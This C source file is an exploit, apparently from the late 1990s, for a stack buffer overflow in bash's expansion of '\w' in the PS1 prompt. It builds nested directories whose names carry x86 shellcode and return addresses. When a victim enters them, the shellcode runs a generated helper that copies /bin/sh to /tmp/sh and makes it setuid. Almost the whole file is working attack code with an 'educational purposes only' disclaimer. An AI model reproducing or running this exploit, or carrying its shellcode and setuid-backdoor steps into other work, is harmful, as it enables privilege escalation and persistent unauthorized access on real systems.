/*
 *      BASH: '\w' in PS1 environment variable - x86 exploit
 *      by Miroslaw Grzybek <mig@zeus.polsl.gliwice.pl>
 *
 *              - tested on: DEBIAN LINUX 1.3.1, BASH 2.0.0(1)
 *                           RED HAT LINUX 5.0, BASH 1.4.17(1)
 *
 *      THIS IS FOR EDUCATIONAL PURPOSES ONLY
 *      USE IT AT YOUR OWN RISK
 *
 *      When run, this program creates directories:
 *       AAAAAA....../AAAAAA....../AAAAAA....../CODE......./RETADDR.....
 *       (255 bytes)  (255 bytes)  (255 bytes)  (50 bytes)  (255 bytes)
 *
 *      When you have '\w' included in your PS1 env. variable and
 *      enter to the last of this directories, then "/tmp/tp" program is
 *      executed and SUID shell "/tmp/sh" is created
 */

#include        <unistd.h>

/*
 *      Code we would like to run when stack is smashed
 */
char code[] =
    "\xeb\x24"              /* jmp    GETADDR         */
			    /* RUNPROG:               */
    "\x5e"                  /* popl   %esi            */
    "\x89\x76\x08"          /* movl   %esi,0x8(%esi)  */
    "\x31\xc0"              /* xorl   %eax,%eax       */
    "\x88\x46\x07"          /* movb   %al,0x7(%esi)   */
    "\x89\x46\x0c"          /* movl   %eax,0xc(%esi)  */
    "\xfe\x06"              /* incb   (%esi)          */
    "\xfe\x46\x04"          /* incb   0x4(%esi)       */
    "\xb0\x0b"              /* movb   $0xb,%al        */
    "\x89\xf3"              /* movl   %esi,%ebx       */
    "\x8d\x4e\x08"          /* leal   0x8(%esi),%ecx  */
    "\x8d\x56\x0c"          /* leal   0xc(%esi),%edx  */
    "\xcd\x80"              /* int    $0x80           */
    "\x31\xdb"              /* xorl   %ebx,%ebx       */
    "\x89\xd8"              /* movl   %ebx,%eax       */
    "\x40"                  /* incl   %eax            */
    "\xcd\x80"              /* int    $0x80           */
			    /* GETADDR:               */
    "\xe8\xd7\xff\xff\xff"  /* call   RUNPROG         */
	    ".tmp.tp";              /* Program to run .XXX.XX */

/*
 *      Return address, you may have to change it if expl. doesn't works
 */
int ADDR=0xbffff2ff;

void main(void) {
    char dir[256];
    int i, align;

    printf("BASH '\\w' option in PS1 exploit example\n");

    printf("- Creating /tmp/tp.c\n");
    system("echo 'main() {'                        >  /tmp/tp.c");
    system("echo 'system(\"cp /bin/sh /tmp/sh\");' >> /tmp/tp.c");
    system("echo 'system(\"chmod +s /tmp/sh\");'   >> /tmp/tp.c");
    system("echo '}'                               >> /tmp/tp.c");

    printf("- Compiling /tmp/tp.c to /tmp/tp\n");
    system("gcc -o /tmp/tp /tmp/tp.c");

    printf("- Removing /tmp/tp.c\n");
    system("rm -f /tmp/tp.c");

    /* Computing alignment for the 'address' directory */
    getcwd(dir,255);
    align=(strlen(dir)+2) % 4;

    memset(dir,'A',255);
    dir[255]=0;

    printf("- Creating directories AAA.../AAA.../AAA.../CODE.../ADDR...\n");
    mkdir(dir,0777);
    chdir(dir);
    mkdir(dir,0777);
    chdir(dir);
    mkdir(dir,0777);
    chdir(dir);

    /* create directory which name is our code */
    mkdir(code,0777);
    chdir(code);

    /* create directory which name is return addresses */
    for(i=align;i<252;i+=4) *(int *)&dir[i]=ADDR;
    mkdir(dir,0777);
    chdir("../../../../");

    printf("- OK\n\n");
}
